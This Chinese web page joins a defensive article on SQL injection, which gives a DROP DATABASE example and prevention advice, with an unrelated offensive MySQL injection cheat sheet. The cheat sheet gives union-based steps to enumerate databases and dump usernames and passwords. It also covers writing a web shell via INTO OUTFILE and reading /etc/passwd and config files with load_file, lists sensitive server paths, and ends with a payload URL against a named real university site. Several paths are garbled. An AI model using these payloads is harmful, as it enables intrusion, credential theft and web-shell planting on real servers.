注意到?jīng)]有,可以在SSN查詢字符串值的后面添加“ ';DROP DATABASE pubs -- ”,通過“;”字符來終止當(dāng)前的SQL語句,然后添加了自己的惡意的SQL語句,然后把語句的其他部分用“--”字符串注釋掉。因為是手工在編碼里構(gòu)造SQL語 句,最后把這個字符串傳給了數(shù)據(jù)庫,數(shù)據(jù)庫會先對authors表進行查詢,然后把我們的pubs數(shù)據(jù)庫刪除?!芭?bang)”的一聲,數(shù)據(jù)庫就沒了!
萬一你認(rèn)為匿名黑客刪除你的數(shù)據(jù)庫的結(jié)果很壞,但不幸的是,實際上,這在SQL注入攻擊所涉及 的情形中算是比較好的。一個黑客可以不單純摧毀數(shù)據(jù),而是使用上面這個編碼的弱點,執(zhí)行一個JOIN語句,來獲取你數(shù)據(jù)庫里的所有數(shù)據(jù),顯示在頁面上,允 許他們獲取用戶名,密碼,信用卡號碼等等。他們也可以添加UPDATE/INSERT語句改變產(chǎn)品的價格,添加新的管理員賬號,真的搞砸你(screw up your life)呢。想象一下,到月底檢查庫存時,發(fā)現(xiàn)你庫房里的實際產(chǎn)品數(shù)與你的賬目系統(tǒng)(accounting system)匯報的數(shù)目有所不同。
SQL注入攻擊是你需要擔(dān)心的事情,不管你用什么web編程技術(shù),再說所有的web框架都需要擔(dān)心這個的。你需要遵循幾條非?;镜囊?guī)則:
1)在構(gòu)造動態(tài)SQL語句時,一定要使用類安全(type-safe)的參數(shù)加碼機制。大多數(shù) 的數(shù)據(jù)API,包括ADO和ADO. NET,有這樣的支持,允許你指定所提供的參數(shù)的確切類型(譬如,字符串,整數(shù),日期等),可以保證這些參數(shù)被恰當(dāng)?shù)豦scaped/encoded了, 來避免黑客利用它們。一定要從始到終地使用這些特性。
例如,在ADO. NET里對動態(tài)SQL,你可以象下面這樣重寫上述的語句,使之安全:
Dim SSN as String = Request.QueryString("SSN")
Dim cmd As new SqlCommand("SELECT au_lname, au_fname FROM authors WHERE au_id = @au_id")
Dim param = new SqlParameter("au_id", SqlDbType.VarChar)
param.Value = SSN
cmd.Parameters.Add(param)
這將防止有人試圖偷偷注入另外的SQL表達(dá)式(因為ADO. NET知道對au_id的字符串值進行加碼),以及避免其他數(shù)據(jù)問題(譬如不正確地轉(zhuǎn)換數(shù)值類型等)。注意,VS 2005內(nèi)置的TableAdapter/DataSet設(shè)計器自動使用這個機制,ASP. NET 2.0數(shù)據(jù)源控件也是如此。
一個常見的錯誤知覺(misperception)是,假如你使用了存儲過程或ORM,你就完全不受SQL注入攻擊之害了。這是不正確的,你還是需要確定在給存儲過程傳遞數(shù)據(jù)時你很謹(jǐn)慎,或在用ORM來定制一個查詢時,你的做法是安全的。
2)在部署你的應(yīng)用前,始終要做安全審評(security review)。建立一個正式的安全過程(formal security process),在每次你做更新時,對所有的編碼做審評。后面一點特別重要。很多次我聽說開發(fā)隊伍在正式上線(going live)前會做很詳細(xì)的安全審評,然后在幾周或幾個月之后他們做一些很小的更新時,他們會跳過安全審評這關(guān),推說,“就是一個小小的更新,我們以后再做 編碼審評好了”。請始終堅持做安全審評。
3)千萬別把敏感性數(shù)據(jù)在數(shù)據(jù)庫里以明文存放。我個人的意見是,密碼應(yīng)該總是在單向(one-way )hashed過后再存放,我甚至不喜歡將它們在加密后存放。在默認(rèn)設(shè)置下,ASP. NET 2.0 Membership API自動為你這么做,還同時實現(xiàn)了安全的SALT隨機化行為(SALT randomization behavior)。如果你決定建立自己的成員數(shù)據(jù)庫,我建議你查看一下我們在這里發(fā)表的我們自己的Membership provider的源碼。同時也確定對你的數(shù)據(jù)庫里的信用卡和其他的私有數(shù)據(jù)進行了加密。這樣即使你的數(shù)據(jù)庫被人入侵(compromised)了的話, 起碼你的客戶的私有數(shù)據(jù)不會被人利用。
4)確認(rèn)你編寫了自動化的單元測試,來特別校驗?zāi)愕臄?shù)據(jù)訪問層和應(yīng)用程序不受SQL注入攻擊。這么做是非常重要的,有助于捕捉住(catch)“就是一個小小的更新,所有不會有安全問題”的情形帶來的疏忽,來提供額外的安全層以避免偶然地引進壞的安全缺陷到你的應(yīng)用里去。
5)鎖定你的數(shù)據(jù)庫的安全,只給訪問數(shù)據(jù)庫的web應(yīng)用功能所需的最低的權(quán)限。如果web應(yīng)用 不需要訪問某些表,那么確認(rèn)它沒有訪問這些表的權(quán)限。如果web應(yīng)用只需要只讀的權(quán)限從你的account payables表來生成報表,那么確認(rèn)你禁止它對此表的insert/update/delete的權(quán)限。
6)很多新手從網(wǎng)上下載SQL通用防注入系統(tǒng)的程序,在需要防范注入的頁面頭部用 來防止別人進行手動注入測試(。
可是如果通過SQL注入分析器就可輕松跳過防注入系統(tǒng)并自動分析其注入點。然后只需要幾分鐘,你的管理員賬號及密碼就會被分析出來。
7)對于注入分析器的防范,筆者通過實驗,發(fā)現(xiàn)了一種簡單有效的防范方法。首先我們要知道SQL注入分析器是如何工作的。在操作過程中,發(fā)現(xiàn)軟件并不是沖著“admin”管理員賬號去的,而是沖著權(quán)限(如flag=1)去的。這樣一來,無論你的管理員賬號怎么變都無法逃過檢測。
第三步:既然無法逃過檢測,那我們就做兩個賬號,一個是普通的管理員賬號,一個是防止注入的賬 號,為什么這么說呢?筆者想,如果找一個權(quán)限最大的賬號制造假象,吸引軟件的檢測,而這個賬號里的內(nèi)容是大于千字以上的中文字符,就會迫使軟件對這個賬號 進行分析的時候進入全負(fù)荷狀態(tài)甚至資源耗盡而死機。下面我們就來修改數(shù)據(jù)庫吧。
1.對表結(jié)構(gòu)進行修改。將管理員的賬號字段的數(shù)據(jù)類型進行修改,文本型改成最大字段255(其實也夠了,如果還想做得再大點,可以選擇備注型),密碼的字段也進行相同設(shè)置。
2.對表進行修改。設(shè)置管理員權(quán)限的賬號放在ID1,并輸入大量中文字符(最好大于100個字)。
3.把真正的管理員密碼放在ID2后的任何一個位置(如放在ID549上)。
由于SQL注入攻擊針對的是應(yīng)用開發(fā)過程中的編程不嚴(yán)密,因而對于絕大多數(shù)防火墻來說,這種攻擊是“合法”的。問題的解決只有依賴于完善編程。專門針對SQL注入攻擊的工具較少,Wpoison對于用asp,php進行的開發(fā)有一定幫助...。
ANOTHER
sunzn:存查備用!
暴字段長度
Order by num/*
匹配字段
and 1=1 union select 1,2,3,4,5…….n/*
暴字段位置
and 1=2 union select 1,2,3,4,5…..n/*
利用內(nèi)置函數(shù)暴數(shù)據(jù)庫信息
version() database() user()
不用猜解可用字段暴數(shù)據(jù)庫信息(有些網(wǎng)站不適用):
and 1=2 union all select version() /*
and 1=2 union all select database() /*
and 1=2 union all select user() /*
操作系統(tǒng)信息:
and 1=2 union all select @@global.version_compile_os fromMySQL.user /*
數(shù)據(jù)庫權(quán)限:
and ord(mid(user(),1,1))=114 /* 返回正常說明為root
暴庫 (mysql>5.0)
Mysql 5 以上有內(nèi)置庫 information_schema,存儲著mysql的所有數(shù)據(jù)庫和表結(jié)構(gòu)信息
and 1=2 union select 1,2,3,SCHEMA_NAME,5,6,7,8,9,10 from information_schema.SCHEMATA limit 0,1
猜表
and 1=2 union select 1,2,3,TABLE_NAME,5,6,7,8,9,10 from information_schema.TABLES where TABLE_SCHEMA=數(shù)據(jù)庫(十六進制) limit 0(開始的記錄,0為第一個開始記錄),1(顯示1條記錄)—
猜字段
and 1=2 Union select 1,2,3,COLUMN_NAME,5,6,7,8,9,10 from information_schema.COLUMNS where TABLE_NAME=表名(十六進制)limit 0,1
暴密碼
and 1=2 Union select 1,2,3,用戶名段,5,6,7,密碼段,8,9 from 表名 limit 0,1
高級用法(一個可用字段顯示兩個數(shù)據(jù)內(nèi)容):
Union select 1,2,3concat(用戶名段,0x3c,密碼段),5,6,7,8,9 from 表名 limit 0,1
直接寫馬(Root權(quán)限)
條件:
1、知道站點物理路徑
2、有足夠大的權(quán)限(可以用select …. from mysql.user測試)
3、magic_quotes_gpc()=OFF
select ‘' into outfile ‘物理路徑'
and 1=2 union all select 一句話HEX值 into outfile '路徑'
load_file() 常用路徑:
1、replace(load_file(0×2F6574632F706173737764),0×3c,0×20)
2、replace(load_file(char(47,101,116,99,47,112,97,115,115,119,100)),char(60),char(32))
上面兩個是查看一個PHP文件里完全顯示代碼.有些時候不替換一些字符,如 “<” 替換成”空格” 返回的是網(wǎng)頁.而無法查看到代碼.
3、load_file(char(47)) 可以列出FreeBSD,Sunos系統(tǒng)根目錄
4、/etc tpd/conf tpd.conf或/usr/local/apche/conf tpd.conf 查看LinuxAPACHE虛擬主機配置文件
5、c:\Program Files\Apache Group\Apache\conf \httpd.conf 或C:\apache\conf \httpd.conf 查看WINDOWS系統(tǒng)apache文件
6、c:/Resin-3.0.14/conf/resin.conf 查看jsp開發(fā)的網(wǎng)站 resin文件配置信息.
7、c:/Resin/conf/resin.conf /usr/local/resin/conf/resin.conf 查看linux系統(tǒng)配置的JSP虛擬主機
8、d:\APACHE\Apache2\conf\httpd.conf
9、C:\Program Files\mysql\my.ini
10、../themes/darkblue_orange/layout.inc.phpphpmyadmin 爆路徑
11、 c:\windows\system32\inetsrv\MetaBase.xml 查看IIS的虛擬主機配置文件
12、 /usr/local/resin-3.0.22/conf/resin.conf 針對3.0.22的RESIN配置文件查看
13、 /usr/local/resin-pro-3.0.22/conf/resin.conf 同上
14 、/usr/local/app/apache2/conf/extra tpd-vhosts.conf APASHE虛擬主機查看
15、 /etc/sysconfig/iptables 本看防火墻策略
16 、usr/local/app/php5 b/php.ini PHP 的相當(dāng)設(shè)置
17 、/etc/my.cnf MYSQL的配置文件
18、 /etc/redhat-release 紅帽子的系統(tǒng)版本
19 、C:\mysql\data\mysql\user.MYD 存在MYSQL系統(tǒng)中的用戶密碼
20、/etc/sysconfig/network-scripts/ifcfg-eth0 查看IP.
21、/usr/local/app/php5 b/php.ini //PHP相關(guān)設(shè)置
22、/usr/local/app/apache2/conf/extra tpd-vhosts.conf //虛擬網(wǎng)站設(shè)置
23、C:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini
24、c:\windows\my.ini
25、c:\boot.ini
網(wǎng)站常用配置文件
config.inc.php、config.php。load_file()時要用replace(load_file(HEX),char(60),char(32))
注:
Char(60)表示 <
Char(32)表示 空格
手工注射時出現(xiàn)的問題:
當(dāng)注射后頁面顯示:
Illegal mix of collations (latin1_swedish_ci,IMPLICIT) and (utf8_general_ci,IMPLICIT) for operation 'UNION'
如:http://www.mse.tsinghua.edu.cn/mse/research/instrument.php?ID=13 and 1=2 union select 1,load_file(0x433A5C626F6F742E696E69),3,4,user()
這是由于前后編碼不一致造成的,
解決方法:在參數(shù)前加上 unhex(hex(參數(shù)))就可以了。上面的URL就可以改為:
http://www.mse.tsinghua.edu.cn/mse/research/instrument.php?ID=13 and 1=2 union select 1,unhex(hex(load_file(0x433A5C626F6F742E696E69))),3,4,unhex(hex(user()))
既可以繼續(xù)注射了。。。